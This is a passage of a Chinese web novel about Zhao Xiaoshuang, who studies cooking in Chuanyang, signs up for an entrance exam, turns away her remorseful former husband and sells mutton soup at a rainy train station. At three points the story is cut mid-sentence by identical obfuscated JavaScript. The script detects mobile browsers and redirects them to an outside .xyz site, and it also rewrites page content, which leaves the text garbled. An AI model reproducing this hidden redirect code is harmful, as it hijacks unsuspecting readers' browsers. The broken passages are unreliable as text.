给部分客人端上包子以后，有一桌的客人没有见过这样的包子，赵小霜给他们介绍了灌汤包的做法和口味，几个人还是将信将疑地咬了一口，刚把皮咬破，里边的肉汤就顺着嘴角流了出来，有的人又慌忙用盘子去接，有的人则把包子皮一提，将汤汁嘬进嘴里，浓郁清甜的肉汁瞬间灌满喉咙，再就着又薄又韧的皮咬一大口肉馅，鲜嫩扎实，混着大葱的辛甜一口下肚，直让人欲罢不能。 几个人一个接一个的吃着，有的人还蘸了一些香醋，更是让口感层次丰富了许多，口里是烫的，胃里是暖的，勾得旁边几桌的人也纷纷咽口水，加了一盘又一盘。也有客人就想吃普通发酵的大白面包子，赵小霜也认认真真给人家解释了缘由，并承诺在半个小时以内给他们上原来样式的包子。 一晚上的兵荒马乱可算过去了，赵小霜也有些疲惫，今天一大早起床坐火车，到了以后几乎也没有休息，就忙活了一晚上。好在现在的饭店歇业比较早，不至于营业到半夜，几个人把厨房打扫干净以后，大师傅才终于问起赵小霜的来历，赵小霜猜的不错，这个大师傅就是负责这边后厨的主厨，姓武，是川阳市本地人，早年在沿海城市的饭馆里当过厨师，学会不少其他菜式的做法，这几年才刚回来川阳市，因为厨艺精湛，被招待所聘用作为主厨。赵小霜把张海给她开的介绍信递给他，又大大方方地和大家自我介绍了一下，经过刚才的事情，面点师傅和小学徒都对她有了不少的好感，也有人觉得她刚来就插手做饭的事情，太爱抢风头，多少有些不满，谁不是从最底层的打杂开始做的呢？凭什么她一来就做上面点了。 主厨没有说赵小霜不好，也没有夸她好，只是淡淡地点点头：“这位小同志是过来学习的，在这里呆两周，大家多多照顾一下。”听到赵小霜只是过来学习十几天的，并不会长待，几个人的情绪多少平息了一些。 结束了一整天的奔波和忙碌，赵小霜随便去公共淋浴间冲洗了一下就倒在了床上，小腿因为旅途的劳累感觉肿胀了起来，好在招待所的床垫还算比较柔软，她光是躺上去就已经感觉舒服了很多。 明天一大早赵小霜还得去帮着洗菜备菜，这个时候的学习还基本上是师徒制，新人过来学习都是从打杂开始，帮师父打下手的同时“偷师”，要眼尖心细，自个儿琢磨，哪天师父心情好，可能会指点一二，和后来她去深市的那种成体系的培训班很不一样，基本都是以年为单位才能学会一些本领。 不过赵小霜本来也不全是为了学做菜才来的，在第二天忙完以后，趁天还没全黑，她换了一身衣服就出门打听学校和租房去了。 川阳市虽然比西顺县物价高，但这个年代本身人员流动不是很大，城市里职工一般也都住在自己单位的职工宿舍或者家属院，因此房租并不会很贵，只是不太好找，赵小霜连着三天下班以后出去找，都没太找到合适的房子。 不过倒是打听到一所按考试选拔入学的高中，只是有点偏远，赵小霜打算等休息日一大早过去看看。 这天赵小霜照例一大早去洗菜，主厨拿出了一张菜单递给了赵小霜，后天会有一场婚宴在这家招待所举办，整个后厨的人都要一块上阵，主厨直接把菜单给赵小霜讲了一遍，办婚宴的家庭本身就比较宽裕，这次的又尤其阔绰，除了婚宴上常见的红烧排骨、炸丸子，还有两只整鸡整鸭，新娘子是沿海城市来的，因此还有一道象征着富贵有余的清蒸鲈鱼。 主厨能带着她参与这个大项目，赵小霜是非常感激的，尤其这次的一些菜都是沿海城市特色菜，赵小霜还没接触过这样的食材和做法，跟着做能学到不少东西。 主厨把两道凉菜和汤品的任务交给了赵小霜，并嘱咐她在大家做主菜的时候多帮忙，说是帮忙，其实就是提醒赵小霜多注意学习。赵小霜忙不迭地点头答应下来。 晚上大家都各自收拾好回去休息以后，赵小霜又回来后厨准备练习一下，她负责的凉菜是凉拌三丝和蜜糖桂花藕，汤品则是上汤鲜蔬。 凉拌三丝和上汤鲜蔬赵小霜都觉得不难，但西顺县和川阳市是不产莲藕的，上一世后来交通运输发达了以后，川阳市的菜市场也偶尔会有从汉林市运来的莲藕节，她也只用莲藕炖汤，再没做过别的。这次新娘托人从老家带了莲藕过来，已经送到了招待所。虽然主厨已经给她详细讲解了做法，但她还是想提前练习一下，如果哪里有问题，明天还有一整天的时间可以调整。 糯米她下午已经泡上了，此时洗干净以后，用筷子把糯米捅进洗干净切开盖子的莲藕节里，又把切下来的盖子盖回去，拿牙签插住，放进炖锅里，加上清水、红糖和去了核的大枣，一起炖煮。糯米不好熟，一般要煮一个小时才能做出来软糯绵密的口感，但火开着又离不了人，赵小霜干脆把上汤鲜蔬也做了一遍。 厨房里高汤是现成的，只要从冰箱里拿出来煮开就行，蔬菜赵小霜选了嫩白菜和嫩玉米，又加了白豆腐，但吃起来口感太过清淡，虽然高汤的香味儿非常突出，但蔬菜煮进去味道稍微显得寡淡，煮太久呢又菜叶又容易糊烂，卖相不好。 赵小霜想了想，她从柜子里翻出来两个咸鸭蛋，把蛋黄蛋白分开，蛋黄已经腌制成熟，打开以后红得流油。赵小霜给锅里挖了一勺猪油，倒上蒜片炒出香味，把咸蛋黄倒进锅里炒出泡泡，这个时候再倒上高汤，把咸蛋白切碎倒进去，整个汤底浓郁咸香，汤色金黄明亮，这个时候再放玉米段、嫩白菜叶和豆腐块进去煮熟，出锅的时候加上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975570|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些白胡椒粉和盐，再撒一点枸杞就可以吃了。 咸蛋黄本身就有咸味儿，但又和食盐生抽调出来的味道有所区别，这样的汤底口感更浓厚，颜色更好看，而清甜的白菜又让整体有一丝回甘，赵小霜自己是觉得这样的汤品更符合当地人的口味，但她自己也拿不准，犹豫再三，她还是出去敲响了主厨房间的门。 武师傅这个点还在办公桌前研究菜谱，他看到赵小霜端着两碗汤进来，似乎并不意外，他招呼赵小霜坐下，自己拿了勺子分别尝了两口，不得不说，加了咸蛋黄的汤底要比普通的上汤鲜蔬更加惊艳，而且这次整体的菜品都有些清淡，如果汤品再上这种清淡口的汤，属实是有些无趣和寡淡了。因此武师傅几乎是立刻就拍板定下来了。 这个时候糯米藕也差不多煮好了，一般出锅时候切好撒一点干桂花提味儿就可以，但赵小霜觉得桂花的味道不够浓郁，也没办法很好地融进糖藕里，她当即决定再浸泡两瓶桂花蜜，这样倒在糖藕上不会像干桂花一样香味儿浮于表面，蜜的柔润也能给糖藕再增加一个层次。 等赵小霜把桂花蜜灌好，用完的锅碗瓢盆洗干净归置好回到招待所，几乎已经是半夜了，想到后天能跟着大家学到很多新菜式的做法，赵小霜一点都不觉得累，这次虽然本身是为了来打听学校和住处的，但能在这么大的国营饭店中学习，对赵小霜来说也是一个非常难得的机会。 婚宴当天，招待所的门上也贴了两个大红的双喜，但大部分的仪式都在新郎新娘家里完成，婚宴只是为了感谢亲朋好友而设置的，所以厅里只弄了一些红色的拉花，在每桌的喜酒上贴了小小的喜字，简单地营造了一些喜庆的氛围。 赵小霜和几个年轻人负责的凉菜一大早就做出来了，现下几个人已经开始帮大厨们处理鱼、猪肉等主菜的食材了。 徐师傅指挥徒弟们把整鸡整鸭清理干净内脏，冲洗干净，把葱结生姜块塞进肚子里，外皮抹一层油，整鸡放进蒸笼里隔水蒸熟，鸭子则用白醋、蜂蜜做成的脆皮水涂抹几遍，风干以后用荷叶包着放进炉灶里烘烤。这样做出来的整鸡整鸭外皮比较完整，色泽也好看，肉和皮一夹就软烂脱骨，还保留了鲜美的肉汁，直接空口吃就非常美味了。但为了迎合不同人的口味，主厨还是在旁边放了两种不同的蘸料。 红烧排骨和清蒸鲈鱼就简单多了，家常的做法也不会出错，这些主菜做完，剩下的炒菜出餐就很快了，眼看着时间快到中午，赵小霜也顾不上“偷师”了，她赶紧去剥了咸鸭蛋，把上汤鲜蔬的汤底炒上，以便能在主菜上齐之后能顺利把汤品端上桌。 外边“咚”的一声礼炮响起，还有人大喊着：“新娘新郎来咯！”随着鞭炮噼里啪啦的热闹声响，新娘新郎和亲戚朋友也热热闹闹地入座了，大家的穿着虽然朴素，却都整洁干净，也都适当地装饰了红色的元素，婚宴也就正式开始了。 35. 我不会再打扰你了 婚宴里的菜品都受到了广泛好评，尤其是赵小霜的上汤鲜蔬，汤底的口感和风味是大家之前都怎么尝过的。好多人吃完以后都想到后厨打听一下汤底的秘方，后厨有的人没见赵小霜做这个菜的过程，也纷纷过来询问，得知只是多加了猪油炒的咸鸭蛋黄以后，也纷纷感叹，这么简单的东西居然可以给菜品带来如此巨大的改变。 婚宴正值休息日，上菜的工作都结束以后，后厨的人就可以先行撤退了。赵小霜把衣服换了，随便吃了两口，就找关系好一点的大姐借了自行车，去找之前打听好的学校了。 这家高中距离市中心有些距离，但附近也非常红火热闹，高中旁边的街道正对着川阳市的几个轻工厂，基本上在这儿读书的也都是就近厂里职工的孩子。 赵小霜到了门口，警卫大叔看她的脸陌生，但又确实是个学生样，猜测她可能是新入学的学生：“你是哪个班的学生？外校的学生不能进啊。” 赵小霜见状，笑眯眯地给警卫递了一盒“红梅”，说道：“叔，我不是这儿的学生，我是想来问问考试入学的事情。” 拿人手短，吃人嘴软，警卫拿了赵小霜一盒烟，自然态度就好多了，虽然不能放她进去，却也能给她提供点信息：“一般都是年底考，最近也有附近的家长过来问，我听说是下周报名，你最好再找个这儿的学生问问。” 旁边几个女学生正打打闹闹地进来，赵小霜赶紧上去打招呼：“抱歉打扰你们了，我想问一下，咱们学校考试报名是什么时候？” 这两天川阳市降了温，赵小霜今天穿了林秀英给织的毛衣开衫，梳着一个麻花辫，看起来乖巧又漂亮，中间的女学生问：“你准备报名考试？下周三就报名了，需要本人过来报名，考试应该是下个月，考语文数学和物理化学，但名额非常少。” 说完，她又略带羡慕地看了看赵小霜的开衫：“你这个衣服是在哪里买的？” 赵小霜很感谢人家告诉她报名和考试的事情，她主动伸出胳膊让那个女生摸了摸衣服面料：“我妈妈给我织的，毛线就是普通的混纺羊毛线，我听我妈说下摆要做个收口就好看，我也不太懂，你可以和你妈妈讲讲。” 那个女孩仍旧是一副羡慕的表情：“你妈妈手真巧，我妈可不会织这个。” 她的朋友显然着急回去上课，在旁边催促了她一会儿，女孩恋恋不舍地又看了看赵小霜的开衫，和赵小霜挥挥手扭头去教室了。 得到报名的信息，赵小霜特别开心，下周三她还在川阳市，也省得她回去西顺县再过来报名了，写信是来不及了，她一路骑车找到了最近的邮电站，给林建业拍了电报，普通电报一个字要五分钱，一般两天都能送到，所以赵小霜也没有选加急的。她在电报稿纸上写了“下周考速来”四个字，花了两毛五分钱，走之前也给家里留了国营饭店的地址，林建华虽然没出过远门，但他找过来应该也不难。 在赵小霜填写收报地址的时候，又有一个年轻的工作人员过来问她：“同志，你的这件开衫哪里买的？我还没见过这样的款式呢。”得知是赵小霜母亲给她亲手织的以后，工作人员也露出了些许遗憾的表情：“要是有的卖就好了，同志，你在这附近上班？我能不能定做一件？价钱你来定。” 看来林秀英的手艺是真的不错，赵小霜也有些开心：“我下个月应该会和我妈过来，到时候如果你还想要，让她给你量了尺寸再做吧，这样更符合你的身材。” 没想到来这一趟还有意外之喜，等这边安顿好了，林秀英也可以利用自己的缝纫手艺挣钱了，赵小霜能够深切体会到亲手挣钱的快乐，她想让秀英也建立自己的小事业，那种骄傲和自足的感觉是什么都无法比拟的。 办完这一切，赵小霜又去百货大楼逛了一圈，本来准备这次看租房的，但是也不知道他们俩能不能成功入学，赵小霜准备干脆等成绩出来再找合适的房子，所以也就不着急了。 川阳市的百货大楼非常气派，每层楼都特别大，一楼还有卖黑白电视机的，西顺县可没有这新鲜玩意。赵小霜大概逛了一圈，买了个玫瑰香皂，买了一个午餐肉罐头，又给林秀英买了一件款式比较新颖的米色确良衬衫，给林建华和林建业一人买了一双飞跃牌的胶鞋。等下周考试报完名，赵小霜在国营商店的学习也正好差不多结束，她可以和林建华一块回林家庄，路上也有个伴儿。 骑车差不多到招待所的时候，赵小霜居然迎面撞上了庄白川一家子，真是冤家路窄，赵小霜正准备掉个头绕路走，庄白川远远地叫了她一声：“小霜！” 庄白川也回川阳市了？赵小霜假装没听见，推着车掉了个头就走，庄白川却追了上来，用手抓住了她的自行车把：“小霜，你怎么在这儿？”赵小霜没说话，庄白川又赶紧解释：“是我爸妈和我说出来吃个饭，没说要让我相亲，我才出来的……” 这赵小霜倒是没注意到，原来他是回来川阳市相亲的。 赵小霜停下来说道：“庄同志，你不用同我解释这些，我并不想知道。” “小霜，你是不是生气了，我真的不知道今天乔琳琳也会来……” 乔琳琳？赵小霜倒是对她有些印象，刚结婚的那两年，庄白川她妈隔三差五就要提一次出生书香世家的乔琳琳，明里暗里看不上高中都没念完的赵小霜，直到乔琳琳和一个教授结婚了她才停歇。 “庄白川同志，我没有生气，与谁相亲是你的自由。” 赵小霜撇开庄白川的手，转身骑车回了招待所。 等庄白川失魂落魄地回到庄家，邢芳已经冷着脸坐在客厅等他了。 “你和刚才那个女孩什么关系？这个女孩是谁？怎么认识的？” 庄白川沉默了一会儿，开口说道：“我们在西顺县认识的，你别管了。” “教授家庭的女儿不要，跑去追一个乡下来的，我庄家的脸都被你丢尽了。” 邢芳冷哼一声，“明天带上那些东西，跟我去乔家道歉。” “我不去，我不喜欢乔琳琳。” “你还是太年轻，喜欢又不能当饭吃，乔家和我们门当户对，两家又是世交，乔琳琳这孩子又端庄又有教养，你到底有什么不满意的？”邢芳嘴上苦口婆心地劝着，脸上露出了不耐烦的神色，敲着红木的沙发把手：“你认识的那个女孩儿，她读过大学吗？乡下来的能有什么文化？我们不都是为了你好吗？” “你们喜欢乔琳琳，你们去娶她！”庄白川再也忍受不了了，摔门而去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013862|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你！？”邢芳气得拍桌而起，一只手捂着心口，一只手颤颤巍巍地指着门：“老庄，你看看你的好儿子！” “年轻时候都这样，过段时间他就想开了，不用管。”庄渐鸿摆了摆手，“明天我们去乔家给人家道个歉，这事儿是小川做得不对。” 庄白川跑出大院，心脏像擂鼓一样咚咚跳个不停，他之前怎么就没发现呢，自己的父母有多看不起赵小霜，现在仅仅只是见了一面，就这样诋毁贬损她，更何况之后朝夕相处的生活中。上一世他们结婚仓促，甚至在西顺县办婚礼的时候他父母都没来，他们回到川阳市以后，邢芳也是极其不待见这个儿媳妇，只是碍于已经领了证才认下她。 庄白川痛苦地捂住脸，他是真的不知道，还是为了维持家庭表面的和谐故意不知道呢，上一世他的忽视和“装聋作哑”究竟让小霜受了多少委屈，这笔账他是怎么都算不明白了。 赵小霜第二天一大早准备去楼下后厨，却又看到庄白川颓丧地站在招待所门口，看到赵小霜以后赶紧走上前：“小霜……” 见赵小霜要走，他赶紧拉住她的衣角：“给我一分钟，就一分钟……可以吗？” 赵小霜转身对着他：“庄白川，我也不跟你藏着掖着了，我确实和你一样重生了，然后呢？难道我就要一定和上一世一样，卑躬屈膝地伺候你们一家人？许晚清的事情我就当你说的是真的，可是我在你家里也并不快乐，你或许很喜欢上一世的生活，但是我不喜欢。” “你以为的家庭幸福都是靠我的忍气吞声换来的，过去的我深爱着你，我不觉得这些是委屈，是我心甘情愿。可是许晚清这件事让我伤透了心，我清醒过来以后才发觉自己过去过得多么悲惨。” 赵小霜深吸一口气：“你放过我吧，庄白川，如果你真的希望我过得好的话。” 庄白川摘下眼镜，抹了把脸，眼下因为一整夜没睡泛起了青色：“是我的错，我不应该不问缘由就无端地指责你，我当时也确实不知道许晚清做了那样的事情……” 庄白川看到赵小霜露出了不耐烦的神色，赶紧接着说：“好，我们不说这个，小霜，我也还是深爱着你，不然我不会一回来就去找你，是我太蠢笨，没有注意到你的委屈，是我不好，小霜……” “……许晚清，乔琳琳，我妈我爸，我弟，都和我们没有关系，我这次回来川阳市，就是要在外边租房，我知道你过去在庄家过得不快乐，我已经在你喜欢的公园旁边租好了房子，你喜欢的纱帘我也安好了，还有地毯，我专门去京市找的，颜色都一样的地毯，你一定会喜欢的。” 庄白川生怕赵小霜又把他推开，急急忙忙地把钥匙塞进她手里：“我听林姨说了，你想来川阳市读书，这是家里的钥匙，我过几天还得回造纸厂，这房子你直接住，我不会去的。你之前常用的茉莉香皂我也买好了，还有你喜欢的白裙子，我没找到一样的，但是这件你也一定会喜欢的……” 庄白川简直像个淋了雨的可怜巴巴的小狗，往日里那种意气风发的姿态在赵小霜面前荡然无存，整个人耷拉着脑袋：“我知道你不会这么快原谅我，我知道你觉得我很烦，我不会再打扰你了，只是……如果哪一天你愿意原谅我了，一定让我知道，好吗？” 36. 当归白芷羊肉汤 林建华的介绍信就没有那么容易开了，他跑了好几趟大队和公社，最后终于在报名的前一天开出了介绍信，买了当晚的车票赶到川阳市，又和赵小霜去学校报上了名。 报名的人并不是特别多，大部分人还都是靠推荐入学的。上午报完名，等了一会儿两个人就拿到了各自的准考证，在下个月的月底考试，还有一段时间，赵小霜在国营饭店的学习也结束了，两个人就准备买车票回林家庄。 买好票以后，两个人又在川阳市逛了一天，买了不少东西，川阳市的郊区有很大的草原，盛产羊肉，赵小霜也买了不少准备带回去，可以做烤羊腿，羊肉汤，羊肉煲，羊的脊骨还可以做香辣羊蝎子锅，林家庄估摸着马上也要下雪了，一家人可以多吃点羊肉暖暖身子。 赵小霜最近在川阳市也没少花钱，羊肉也要九毛五一斤，赵小霜一口气买了四十多斤，加上一些羊下水和羊脊骨，一共花了五十六块九毛钱，她带来的钱基本上已经所剩无几了。但赵小霜买这么多不是光自己家里吃，她在西顺县买车票的时候就发现很多人为了买票都是一整夜一整夜地排队，现在晚上天气又冷，附近也没有卖吃的的地方，大家都是拿个冷窝窝头冷馒头就着水吃，条件好点的会带点咸菜，但吃起来也是又冷又硬，赵小霜也看到好多年纪比较大的缩在车站的角落，冷得手脚都有点僵硬。 赵小霜准备做点羊汤，加上红薯粉丝去卖，一碗羊汤里加几片羊肉和羊杂，多放一些胡椒粉和白芷葱姜，价格也不会太高，在寒意侵袭的夜晚，能给彻夜排队买票的人带来一些暖和的气息，赵小霜是很乐意去做的。 钱基本上都花完了，两个人就直接买了半夜的车票回西顺县，这样还能省一晚上招待所的住宿费。 等两个人带着大包小包坐了火车又走回林家庄，天色都已经渐白了，林家庄早上的气温很低，赵小霜穿着毛开衫又套了外套，还是感觉一阵一阵的冷意。 林秀英和林建华才刚刚起床，显然没想到他俩会这个点回来，林秀英起来给他俩倒了热水泡脚，两个人一晚上也没吃东西，裤腿也沾满了冰凉的露水。此时又饿又冷地坐在火炉旁边烤着手。 赵小霜用热水洗了脸洗了手，冰凉僵硬的关节和肌肉才终于感觉缓过来一些，她知道西顺县比川阳市冷，没想到林家庄又比西顺县冷这么多。 林秀英把赵小霜买的羊肉取出来一块，洗干净切成薄片，油锅里加上葱姜段把羊肉炒软，倒入开水，这个时候汤就已经开始变白了，虽然不如用羊骨羊肉炖出来的汤浓郁，但汤色清澈，味道单纯，加上细细的小麦面条，撒一把野葱花，加上胡椒粉和盐，一锅简单又热气腾腾的羊肉汤面就做好了。 暖呼呼的羊汤下肚，赵小霜和林建华都发出了满足的喟叹，羊肉片成几乎和纸一样的薄片，煮出来又嫩又滑，没有羊肉的膻味儿，胡椒粉配上羊汤，直让人从头暖到了脚，浑身像打通了一样热乎乎的，连带着身体也完全放松了下来。两个人一晚上没怎么睡觉，林建业更是两晚上没怎么合眼了，此时已经困的睁不开眼皮了。赵小霜撑着眼皮去把一半的羊肉切了块，和几个羊筒骨一起放进大锅里炖煮。又回来屋里喝完了最后一口羊汤，碗筷都没收拾，就爬上炕倒头睡着了。 睡了没几个小时，不到中午赵小霜就又起来了，她惦记着自己的羊肉汤，外边大锅里的汤已经开始有了一些奶白色，车站附近没有可以临时接水做饭的地方，她只能在家煮好用铁桶装好骑车带过去，但这样的话红薯粉丝又会在汤里变得黏糊糊的，赵小霜一时半会也没想到什么好办法，卖纯羊汤也可以，但这样就完全不管饱了。 正在赵小霜抓耳挠腮的时候，外边又响起了敲门声，这次不是庄白川，是拎着一兜子不知道什么东西的周翊凡，赵小霜开门看到他，也非常开心：“周医生，好久不见呀。” 不知道是因为天气太冷还是赵小霜的错觉，她感觉周翊凡的神色冷冷的，她跟在周翊凡后边进了屋子，有些迷茫地挠挠头，周翊凡和林家人打过招呼以后，才又和赵小霜打招呼：“什么时候回来的？” “今天一大早刚回来，你心情不好啊？” 周翊凡冷哼一声：“庄白川都知道你去川阳市学习了，我连你去哪了都不知道。” 啊？赵小霜更懵了，但周翊凡又一脸同她生闷气的样子，让赵小霜不知道从何生起了一丝心虚，她赶忙解释道：“庄白川回他家了，我们偶然碰上的，我没有专门告诉他。” 见周翊凡的脸色缓和了一些，又补充道：“咱俩前段时间没见，我就没给你说，我年后估计要去川阳市读书，不过也得先考过试才行，还不知道结果咋样呢。” 周翊凡把袋子放桌子上：“我出差的时候买的，你看看能用上吗？” 这是不生气了？赵小霜看了看他的表情，好像温柔了不少，这才打开他的袋子看，里边是赵小霜这一世没见过的黄油和咖喱粉，还有一些稀奇古怪的香料。 前几天周翊凡出差回来西顺县以后，就一直没见着赵小霜，来林家庄想把这些东西给她，结果林家也没人在，回去路上又碰上庄白川。庄白川不似之前意气风发的样子，看到周翊凡却主动走了过来：“你去找小霜了？” 见周翊凡不置可否，庄白川又轻声笑了笑：“还以为你们关系很好呢，她去川阳市学习了，怎么，她没告诉你？” 庄白川明显心情好了不少：“她以后都会在川阳市学习，不会回来了，你也别总过来找她了。”周翊凡听到这样的话，气压肉眼可见地低了下去，为什么她一言不发就走了？去川阳市告诉庄白川不告诉他？她喜欢庄白川？这个庄白川有什么好的？ 周翊凡烦闷得不行，他每次见到庄白川和赵小霜似乎非常熟稔的样子，心里就止不住地觉得憋闷。他不知道赵小霜什么时候回来，庄白川说她以后会一直在川阳市，难道她就这么走了？一声告别的话都没有，是他自作多情，觉得他们关系很好，对于赵小霜来说，他可能就是一个普通认识的人而已…… 周翊凡自知他对赵小霜的关注已经远远超出了普通朋友的范围，或许一开始是看她很辛苦有些心疼，也可能是在后来的相处中被她的坚韧所感动，也可能是她那天带着茉莉手串笑得实在太漂亮了。 他是什么时候开始经常想到她的呢？担心她手上的伤口发炎，怕她太过坚强忍着伤痛不说，他出差在外也总是会看有什么她能用到的东西，想给她都买回去。他知道赵小霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031183|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自己的抱负和理想，他想力所能及地帮助她，又不想让她在外边受那么大的苦，这种矛盾的思绪让周翊凡翻来覆去，几乎一整夜没有睡着。 第二天周翊凡就又骑车来了林家，如果赵小霜真的去了川阳市再也不回来了，他也想知道她到底去了哪里，哪怕能给她寄信也是好的。没想到一敲门，就看到没怎么睡好的蔫巴巴的赵小霜来给他开门，头发也没有梳好，有些蓬松地搭在她的肩膀上。看到赵小霜的一瞬间，他的气已经消了一半，她回来了，她没有不告而别。 听到她和他解释，周翊凡已经完全不生气了，他莫名其妙的闷气也莫名其妙地走了，周翊凡嗅了嗅，他闻到了羊肉的味道，赵小霜正好要去给羊汤调味，顺口和他讲了一下煮粉丝的事情，周翊凡想了想：“我见有人是做个铁皮炉带着，到了地方再烧火，但铁皮炉很重，现在一时半会也弄不出来，你要不拿羊汤配点芝麻烧饼之类的卖呢？” 赵小霜也想到了换个主食，她之前想的是烙点大饼切成角泡进去吃，但配羊肉汤的话确实是油酥烧饼更香。赵小霜把白芷和当归洗干净放到已经变得奶白奶白的羊肉汤里继续煮着，准备和面做油酥饼，周翊凡见她拿了面盆，又洗干净手接了过去：“你去做酥油吧，我有劲儿，我和面。”周翊凡的语气自然得好像已经做了十年赵小霜的助手，反正做完周翊凡也会蹭她的饭吃，赵小霜干脆由他去了。 油酥主要是为了让烧饼更有层次，泡进羊汤里也能更好地吸收羊汤的味道，直接吃则是又酥又有嚼劲的，赵小霜取了点白面，加上熟油和花椒粉，又倒上一些盐搅拌均匀，简单的油酥就做成了。等和好的面发酵起来，就可以切成大小均匀的剂子，擀开以后抹上油酥，卷起来再摁成圆饼，饼胚两面沾上水，粘一些芝麻上去，放进锅里小火煎熟到两面金黄，这样的油酥饼层次特别多，吃起来还有芝麻的香味儿，而且外酥内软，越嚼越香，配羊汤吃再合适不过了。 两个人拿了刚出锅的油酥烧饼空口吃着，刚出锅的还带着芝麻的焦香味儿，连咸菜都不用配，就已经香得人直晕乎了。羊汤可以再炖会儿，炖得越久越香醇，等晚上去车站的时候，估计羊肉都已经炖得软烂软烂的了。 周翊凡今天已经请了假，他准备等到晚上和赵小霜一块去车站，卖完羊汤估计得半夜，赵小霜一个人走夜路他也不太放心，而且羊汤要比其他东西都重很多，两个人骑车一块去能稍微轻省点。见赵小霜又要推脱，周翊凡又拿了一个烧饼：“我不白帮忙，晚上我还得吃你两个烧饼，你就当给我发的工资吧。食堂吃的不好，我少不了经常来蹭你的饭。” 周翊凡说完，又想起来赵小霜过段时间就要去川阳市了，不由得沉默了下来，赵小霜还在那忙着烙饼，随口答应道：“没问题，你天天来吃都行。” “……” “你下个月去川阳市？过年还回来吗？” “当然回来了，我考完试就回来，明年估计二月开学吧，如果我能考上，我就去川阳市租房住了，你到时候可以来川阳市找我玩啊。” “……” 周翊凡抬头笑了笑：“没问题，你就算到了川阳市，我也还得去找你蹭饭，谁让你做饭那么好吃呢。” 37. 雨夜羊汤 赵小霜一口气烙了五十多个油酥烧饼，又把锅里的羊肉捞出来切成片，把羊肚羊肝羊小肠之类的焯水以后，用生姜煸炒，再切碎倒进羊汤里煮，这样的羊杂吃起来比较嫩，又不会有羊膻味儿和腥味儿，等煮差不多了就可以加一些盐和白胡椒粉调味儿了。怕有人想吃辣的，赵小霜又带了一瓶红油辣子。 现在天黑得比之前早了很多，把羊汤装进铁桶以后天色已经渐暗，赵小霜把烧饼用油纸包好，两个人就骑车去火车站了。 眼看快到车站的时候，居然飘起了小雨，周身的空气又明显透着冰冷的凉意了，赵小霜和周翊凡刚到车站找了个避雨的地儿，雨就哗啦啦地下了起来。好在两个人出发得早，没有被淋湿太多。 周翊凡把铁桶搬下去，刚一揭开盖，浓郁的羊肉香味儿就随着腾腾的热气飘了出来，在这个雨夜十分诱人。不多时，就有人过来问赵小霜羊汤怎么卖了，赵小霜把烧饼也摆出来：“羊汤九毛钱一碗，烧饼一毛钱一个。” 有人觉得太贵走了，但也有几个排了一整天队还没买到票的，包里的冷馒头也已经吃完了，又赶上下雨天，整个人又冷又饿，直接咬咬牙买了一碗羊汤和一个烧饼。 第一个大哥掏出自己的快餐杯递给赵小霜，赵小霜也不吝啬，给他舀了满满三大勺，里边除了羊杂，还有好几块软烂的羊肉，配上新鲜葱花，深吸一口，首先就闻到浓郁的白胡椒味儿，嘬一口滚烫的羊汤，舌头被烫得直哈气，却也舍不得放下快餐杯，喝两口汤，冰冷了一整天的胃就已经暖和了，再捞点羊肉和羊肚，吃一口油酥烧饼，手脚都跟着热乎了起来。 有的人还要了一勺红油辣子，浓郁的白汤上薄薄地飘着一层红油，里边的羊肉带点肥油，却不腻不膻，羊肚脆爽，羊肺滑嫩，每一口都有不同的滋味儿。吃光了里边的肉，再把油酥烧饼掰开了泡进去，脆香的烧饼裹着滚烫的汤汁一口下肚，既有红油辣子的辣，也有胡椒粉的辛，还有羊汤的鲜，直从喉咙一路暖到胃里，身体和嘴巴都得到了极大的满足。 有的人见赵小霜给的多，汤里又有这么多肉，烧饼也是有不少芝麻，整体还是很划算的，也就咬咬牙买了。有的人实在钱不够，赵小霜也给他们打两勺不带肉的纯羊汤，只收他们两毛钱。不多时，烧饼就已经卖空了，两大桶羊汤也只剩下了个底儿。 这一趟赵小霜挣了七十二块九毛钱，去掉成本净赚了四十多块钱，周翊凡坚持把赵小霜送回了林家庄，回去的路上雨还断断续续下了一些，周翊凡把外套递给赵小霜挡雨，自己却穿着个薄衬衫就骑车了。赵小霜实在怕他感冒，到家以后又硬拉着他喝了两碗紫苏姜汤，等雨停了才放他走。 这天晚上赵小霜难得睡了个整觉，在国营饭店学习的那半个月基本上每天都晚睡早起，干的也都是体力活儿，说不累是不可能的。昨天又做了一天油酥烧饼和羊肉汤，身体的疲惫在这个时候才开始逐渐释放出来，赵小霜只觉得浑身又乏又累，连着睡了将近十个小时还觉得不够。她不在家的时候林建业和林建华也每天都做卤味去卖，林秀英还给一家人缝好了棉衣棉裤，棉花林建业已经找人弹过，马上就可以缝制新的棉被褥子了。 